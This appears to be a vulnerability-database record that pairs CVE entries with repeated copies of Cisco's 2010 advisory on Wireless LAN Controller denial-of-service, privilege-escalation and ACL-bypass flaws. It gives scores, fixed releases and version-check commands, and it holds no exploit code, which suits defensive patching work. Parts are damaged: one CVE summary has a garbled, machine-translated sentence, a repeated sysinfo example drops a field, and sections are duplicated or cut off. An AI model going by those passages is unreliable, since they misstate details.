uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+-----------------------------------------+
| Revision | | Initial |
| 1.0 | 2010-September-08 | public |
| | | release. |
+-----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco
security notices. All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
iD8DBQFMh6MB86n/Gc8U/uARAkAoAJ49gL4UWcPviOVj7qBoEjTA0tLQ4QCfTlem
QI2QHDaZGejlgOifWafhaW8=
=518m
-----END PGP SIGNATURE-----
| VAR-201009-0064 | CVE-2010-2841 | Cisco Wireless LAN Controller HTTP Packet Denial of Service Vulnerability |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Unspecified vulnerability in Cisco Wireless LAN Controller (WLC) software 4.2 before 4.2.209.0; 4.2M before 4.2.207.54M; 5.0, 5.1, and 6.0 before 6.0.196.0; and 5.2 before 5.2.193.11 allows remote authenticated users to cause a denial of service (device reload) via crafted HTTP packets that trigger invalid arguments to the emweb component, aka Bug ID CSCtd16938. The Cisco Wireless LAN Controller is used to manage Cisco Aironet access point applications using the Lightweight Access Point Protocol (LWAPP). A verified attacker can send a large number of malformed HTTP messages to the affected Cisco WLC, which can cause device overloading. Vulnerabilities can be exploited in both wireless and wired segments. A successful three-way TCP handshake is required to successfully exploit the vulnerability.
This issue is documented by Cisco Bug ID CSCtd16938. Unspecified vulnerabilities exist in Cisco Wireless LAN Controller (WLC) Software 4.2 prior to 4.2.209.0; 4.2M prior to 4.2.207.54M; 5.0, 5.1, and 6.0 prior to 6.0.196.0, and 5.2 prior to 5.2.193.11. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Wireless
LAN Controllers
Advisory ID: cisco-sa-20100908-wlc
Revision 1.0
For Public Release 2010 September 08 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
The Cisco Wireless LAN Controller (WLC) product family is affected by
these vulnerabilities:
* Two denial of service (DoS) vulnerabilities
* Three privilege escalation vulnerabilities
* Two access control list (ACL) bypass vulnerabilities
Note: These vulnerabilities are independent of one another. A device
may be affected by one vulnerability and not affected by another.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
Affected Products
=================
Vulnerable Products
+------------------
These products are each affected by at least one vulnerability
covered in this Security Advisory:
* Cisco 2000 Series WLCs
* Cisco 2100 Series WLCs
* Cisco 4100 Series WLCs
* Cisco 4400 Series WLCs
* Cisco 5500 Series WLCs
* Cisco Wireless Services Modules (WiSMs)
* Cisco WLC Modules for Integrated Services Routers (ISRs)
* Cisco Catalyst 3750G Integrated WLCs
DoS Vulnerabilities
~~~~~~~~~~~~~~~~~~~
The Cisco WLC product family is affected by two DoS vulnerabilities:
* Internet Key Exchange (IKE) DoS Vulnerability
* HTTP DoS Vulnerability
The IKE DoS vulnerability affects Cisco WLC software versions 3.2 and
later. The HTTP DoS vulnerability affects Cisco WLC software versions
4.2 and later.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The privilege escalation vulnerabilities affect Cisco WLC software
versions 4.2 and later.
CPU ACL Bypass Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One of the two ACL bypass vulnerabilities affects Cisco WLC software
versions 4.1 and later. The second ACL bypass vulnerability affects
Cisco WLC software versions 6.0.x.
Determination of Software Versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Administrators can use these instructions to determine the software
version that is running on the Cisco WLCs (using the web or
command-line interface) or on the Cisco WiSM (using commands on the
Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router).
Cisco Wireless Controllers
~~~~~~~~~~~~~~~~~~~~~~~~~~
To determine the WLC version that is running in a given environment,
use one of these methods:
* In the web interface, choose the "Monitor" tab, click "Summary" in
the left pane, and note the "Software" Version field.
Note: Customers who use a Cisco WLC Module in an ISR will need to
issue the "service-module wlan-controller <slot/port> session" command
prior to performing the next step on the command line. Customers who
use a Cisco Catalyst 3750G Switch with an integrated WLC Module will
need to issue the "session <Stack-Member-Number> processor 1 session"
command prior to performing the next step on the command line.
* From the command-line interface, type "show sysinfo" and note the
"Product Version" field, as shown in this example:
(Cisco Controller)> show sysinfo
Manufacturer's Name.. Cisco Systems Inc.
Product Name......... Cisco Controller
Product Version...... 5.1.151.0
RTOS Version......... Linux-2.6.10_mvl401
Bootloader Version... 4.0.207.0
Build Type........... DATA + WPS
<output suppressed>
Cisco WiSMs
~~~~~~~~~~~
Use the "show wism module <module number> controller 1 status" command
on a Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router
if they are using a WiSM. Note the software version as demonstrated
in this example, which shows version 5.1.151.0:
Router# show wism module 3 controller 1 status
WiSM Controller 1 in Slot 3
Operational Status of the Controller
: Oper-Up
Service VLAN
: 192
Service Port
: 10
Service Port Mac Address
: 0011.92ff.8742
Service IP Address
: 192.168.10.1
Management IP Address
: 192.168.1.123
Software Version
: 5.1.151.0
Port Channel Number
: 288
Allowed vlan list
: 30,40
Native VLAN ID
: 40
WCP Keep Alive Missed
: 0
Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by these
vulnerabilities.
Details
=======
Cisco WLCs and Cisco WiSMs are responsible for system-wide wireless
LAN functions, such as security policies, intrusion prevention, RF
management, quality of service (QoS), and mobility.
The Cisco WLC family of devices is affected by 2 denial of service
vulnerabilities, 3 privilege escalation vulnerabilities, and 2 access
control list bypass vulnerabilities. The following are the details
about these vulnerabilities.
Note: IKE is enabled by default in the WLC and cannot be disabled.
Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
Note: Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
WebAuth or guest access is not affected by this vulnerability.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Three privilege escalation vulnerabilities exist in the Cisco WLCs
that could allow an authenticated attacker with read-only privileges
to modify the device configuration.
Access Control List Bypass Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ACLs can be configured in the Cisco WLCs and applied to data traffic
to and from wireless clients or to all traffic that is destined for
the controller CPU. After ACLs are defined, they can be applied to
the management interface, the access point manager (AP-manager)
interface, or any of the dynamic interfaces for client data traffic
or to the Network Processing Unit (NPU) interface for traffic to the
controller CPU. Two vulnerabilities exist in the Cisco WLCs that
could allow an unauthenticated attacker to bypass policies that
should be enforced by CPU-based ACLs. No other ACL types are affected
by these vulnerabilities.
Note: CPU-based ACLs are configured and applied by navigating to
Security > Access Control Lists > CPU Access Control Lists in the
Cisco WLC web management interface.
Vulnerability Scoring Details
=============================
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
CSCta56653 - WLC may reload when receiving crafted IKE packets
CVSS Base Score - 7.8
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 6.4
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtd16938 - WLC crash after passing invalid arguments to emweb
CVSS Base Score - 6.8
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 5.6
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtc91431, CSCsz66726, and CSCtc93837- Privilege Escalation vulnerabilities
CVSS Base Score - 9.0
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 7.8
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCta66931, CSCtf36051 - CPU ACL bypass vulnerabilities
CVSS Base Score - 5.0
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Partial
Integrity Impact - None
Availability Impact - None
CVSS Temporal Score - 4.1
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of the DoS vulnerabilities could cause an
affected device to reload. Repeated exploitation could result in a
sustained DoS condition.
Successful exploitation of the privilege escalation vulnerabilities
could allow an authenticated attacker with read-only privileges to
modify the device configuration.
Successful exploitation of the ACL bypass vulnerabilities could allow
an attacker to bypass policies that should be enforced by CPU-based
ACLs.
Software Versions and Fixes
===========================
When considering software upgrades, also consult:
http://www.cisco.com/go/psirt
and any subsequent advisories to determine exposure and a complete
upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
If a given release train is vulnerable, then the earliest possible
releases that contain the fix (along with the anticipated date of
availability for each, if applicable) are listed in the "First Fixed
Release" column of the table. A device running a release in the given
train that is earlier than the release in a specific column (less
than the First Fixed Release) is known to be vulnerable.
+-------------------------------------------------------------------+
| Vulnerability/Bug ID | Affected | First Fixed |
| | Release | Version |
|----------------------------------------+----------+---------------|
| | 3.2 | 3.2.215.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.205.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| IKE DoS Vulnerability (CSCta56653) |----------+---------------|
| | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| HTTP DoS Vulnerability (CSCtd16938) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.196.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| Privilege Escalation Vulnerabilities | 4.2M | 4.2.207.54M |
| (CSCtc91431, CSCsz66726, and |----------+---------------|
| CSCtc93837) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.207.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| ACL Bypass Vulnerabilities (CSCta66931 | | Vulnerable; |
| and CSCtf36051) | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 6.0 | 6.0.199.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
+-------------------------------------------------------------------+
Recommended Releases
~~~~~~~~~~~~~~~~~~~~
The "Recommended Release" table lists the releases which have fixes
for all the published vulnerabilities at the time of this Advisory.
Cisco recommends upgrading to a release equal to or later than the
release in the "Recommended Releases" table.
+-------------------------------------------------------------------+
| Affected Release | Recommended Release |
|----------------------+--------------------------------------------|
| 3.2 | 3.2.215.0 |
|----------------------+--------------------------------------------|
| 4.1 | Vulnerable; Migrate to 4.2 |
|----------------------+--------------------------------------------|
| 4.1M | Vulnerable; Migrate to 4.2M |
|----------------------+--------------------------------------------|
| 4.2 | 4.2.209.0 |
|----------------------+--------------------------------------------|
| 4.2M | 4.2.207.54M |
|----------------------+--------------------------------------------|
| 5.0 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.1 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.2 | Non FIPS Customers migrate to 6.0 |
|----------------------+--------------------------------------------|
| 6.0 | 6.0.199.4 |
|----------------------+--------------------------------------------|
| 7.0 | Not Vulnerable |
+-------------------------------------------------------------------+
Note: Cisco WLC Software version 5.2.193.11 is a FIPS certified
image. Customers not running FIPS images are recommended to migrate
to Cisco WLC software 6.0.199.4 or later.
Customers running 4.1M with a mixture of LAP1505/LAP1510 and LAP1522/
LAP1524 units will need to refer to the Mesh and Mainstream Releases
on the Controller section of the document Cisco Wireless Mesh Access
Points, Design and Deployment Guide, Release 7.0.
Workarounds
===========
There are no available workarounds to mitigate any of these
vulnerabilities.
Additional mitigations that can be deployed on Cisco devices in the
network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory, which is available at the
following link:
http://www.cisco.com/warp/public/707/cisco-amb-20100908-wlc.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at:
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were found during internal testing and during
the troubleshooting of customer service requests.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+-----------------------------------------+
| Revision | | Initial |
| 1.0 | 2010-September-08 | public |
| | | release. |
+-----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco
security notices. All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
iD8DBQFMh6MB86n/Gc8U/uARAkAoAJ49gL4UWcPviOVj7qBoEjTA0tLQ4QCfTlem
QI2QHDaZGejlgOifWafhaW8=
=518m
-----END PGP SIGNATURE-----
| VAR-201009-0277 | CVE-2010-3034 | Cisco Wireless LAN Controller Permissions and Access Control Vulnerability |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Cisco Wireless LAN Controller (WLC) software, possibly 6.0.x or possibly 4.1 through 6.0.x, allows remote attackers to bypass ACLs in the controller CPU, and consequently send network traffic to unintended segments or devices, via unspecified vectors, a different vulnerability than CVE-2010-0575. Cisco Wireless LAN Controller (WLC) The controller CPU At the inner, ACL There is a vulnerability that can be avoided. The Cisco Wireless LAN Controller is used to manage Cisco Aironet access point applications using the Lightweight Access Point Protocol (LWAPP). After defining the ACLs, it can be referenced on the management interface, on the access point management (AP-manager) interface, and any dynamic interface for client data communication or a network processing unit (NPU) interface to the controller CPU. Two security vulnerabilities in Cisco WLCs allow unauthenticated attackers to bypass CPU-based ACLs. The Cisco Wireless LAN Controller (WLC) is responsible for system-wide wireless LAN functions such as security policy, intrusion detection, RF management, quality of service (QoS), and mobility.
An attacker can exploit this issue to bypass certain security restrictions.
This issue is being tracked by Cisco BugID CSCtf36051. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Wireless
LAN Controllers
Advisory ID: cisco-sa-20100908-wlc
Revision 1.0
For Public Release 2010 September 08 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
The Cisco Wireless LAN Controller (WLC) product family is affected by
these vulnerabilities:
* Two denial of service (DoS) vulnerabilities
* Three privilege escalation vulnerabilities
* Two access control list (ACL) bypass vulnerabilities
Note: These vulnerabilities are independent of one another. A device
may be affected by one vulnerability and not affected by another.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
Affected Products
=================
Vulnerable Products
+------------------
These products are each affected by at least one vulnerability
covered in this Security Advisory:
* Cisco 2000 Series WLCs
* Cisco 2100 Series WLCs
* Cisco 4100 Series WLCs
* Cisco 4400 Series WLCs
* Cisco 5500 Series WLCs
* Cisco Wireless Services Modules (WiSMs)
* Cisco WLC Modules for Integrated Services Routers (ISRs)
* Cisco Catalyst 3750G Integrated WLCs
DoS Vulnerabilities
~~~~~~~~~~~~~~~~~~~
The Cisco WLC product family is affected by two DoS vulnerabilities:
* Internet Key Exchange (IKE) DoS Vulnerability
* HTTP DoS Vulnerability
The IKE DoS vulnerability affects Cisco WLC software versions 3.2 and
later. The HTTP DoS vulnerability affects Cisco WLC software versions
4.2 and later.
Determination of Software Versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Administrators can use these instructions to determine the software
version that is running on the Cisco WLCs (using the web or
command-line interface) or on the Cisco WiSM (using commands on the
Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router).
Cisco Wireless Controllers
~~~~~~~~~~~~~~~~~~~~~~~~~~
To determine the WLC version that is running in a given environment,
use one of these methods:
* In the web interface, choose the "Monitor" tab, click "Summary" in
the left pane, and note the "Software" Version field.
Note: Customers who use a Cisco WLC Module in an ISR will need to
issue the "service-module wlan-controller <slot/port> session" command
prior to performing the next step on the command line. Customers who
use a Cisco Catalyst 3750G Switch with an integrated WLC Module will
need to issue the "session <Stack-Member-Number> processor 1 session"
command prior to performing the next step on the command line.
* From the command-line interface, type "show sysinfo" and note the
"Product Version" field, as shown in this example:
(Cisco Controller)> show sysinfo
Manufacturer's Name.. Cisco Systems Inc.
Product Name......... 5.1.151.0
RTOS Version......... Linux-2.6.10_mvl401
Bootloader Version... 4.0.207.0
Build Type........... DATA + WPS
<output suppressed>
Cisco WiSMs
~~~~~~~~~~~
Use the "show wism module <module number> controller 1 status" command
on a Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router
if they are using a WiSM. Note the software version as demonstrated
in this example, which shows version 5.1.151.0:
Router# show wism module 3 controller 1 status
WiSM Controller 1 in Slot 3
Operational Status of the Controller
: Oper-Up
Service VLAN
: 192
Service Port
: 10
Service Port Mac Address
: 0011.92ff.8742
Service IP Address
: 192.168.10.1
Management IP Address
: 192.168.1.123
Software Version
: 5.1.151.0
Port Channel Number
: 288
Allowed vlan list
: 30,40
Native VLAN ID
: 40
WCP Keep Alive Missed
: 0
Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by these
vulnerabilities.
The Cisco WLC family of devices is affected by 2 denial of service
vulnerabilities, 3 privilege escalation vulnerabilities, and 2 access
control list bypass vulnerabilities. The following are the details
about these vulnerabilities.
IKE Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An attacker with the ability to send a malicious IKE packet to an
affected Cisco WLC could cause the device to crash and reload. This
vulnerability can be exploited from both wired and wireless segments.
Note: IKE is enabled by default in the WLC and cannot be disabled. Transient traffic will not trigger this vulnerability.
This vulnerability is documented in Cisco Bug ID CSCta56653 and has
been assigned Common Vulnerabilities and Exposures (CVE) ID
CVE-2010-0574.
HTTP Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An authenticated attacker with the ability to send a series of
malicious HTTP packets to an affected Cisco WLC could cause the
device to reload. This vulnerability can be exploited from both wired
and wireless segments. A TCP three-way handshake is needed in order
to exploit this vulnerability. Transient traffic will not trigger this vulnerability.
WebAuth or guest access is not affected by this vulnerability.
This vulnerability is documented in Cisco Bug ID CSCtd16938
and has been assigned CVE ID CVE-2010-2841.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Three privilege escalation vulnerabilities exist in the Cisco WLCs
that could allow an authenticated attacker with read-only privileges
to modify the device configuration.
These vulnerabilities are documented in Cisco Bug IDs CSCtc91431,
CSCsz66726, and CSCtc93837; and have been assigned
CVE IDs CVE-2010-2842, CVE-2010-2843, and CVE-2010-3033. No other ACL types are affected
by these vulnerabilities. When CPU-based ACLs are enabled,
they are applicable to both wireless and wired traffic.
These vulnerabilities are documented in Cisco Bug IDs CSCta66931,
and CSCtf36051; and have been assigned CVE IDs CVE-2010-0575 and
CVE-2010-3034.
Vulnerability Scoring Details
=============================
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
CSCta56653 - WLC may reload when receiving crafted IKE packets
CVSS Base Score - 7.8
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 6.4
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtd16938 - WLC crash after passing invalid arguments to emweb
CVSS Base Score - 6.8
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 5.6
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtc91431, CSCsz66726, and CSCtc93837- Privilege Escalation vulnerabilities
CVSS Base Score - 9.0
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 7.8
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCta66931, CSCtf36051 - CPU ACL bypass vulnerabilities
CVSS Base Score - 5.0
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Partial
Integrity Impact - None
Availability Impact - None
CVSS Temporal Score - 4.1
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of the DoS vulnerabilities could cause an
affected device to reload. Repeated exploitation could result in a
sustained DoS condition.
Successful exploitation of the privilege escalation vulnerabilities
could allow an authenticated attacker with read-only privileges to
modify the device configuration.
Software Versions and Fixes
===========================
When considering software upgrades, also consult:
http://www.cisco.com/go/psirt
and any subsequent advisories to determine exposure and a complete
upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
If a given release train is vulnerable, then the earliest possible
releases that contain the fix (along with the anticipated date of
availability for each, if applicable) are listed in the "First Fixed
Release" column of the table. A device running a release in the given
train that is earlier than the release in a specific column (less
than the First Fixed Release) is known to be vulnerable.
+-------------------------------------------------------------------+
| Vulnerability/Bug ID | Affected | First Fixed |
| | Release | Version |
|----------------------------------------+----------+---------------|
| | 3.2 | 3.2.215.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.205.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| IKE DoS Vulnerability (CSCta56653) |----------+---------------|
| | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| HTTP DoS Vulnerability (CSCtd16938) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.196.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | | Vulnerable; |
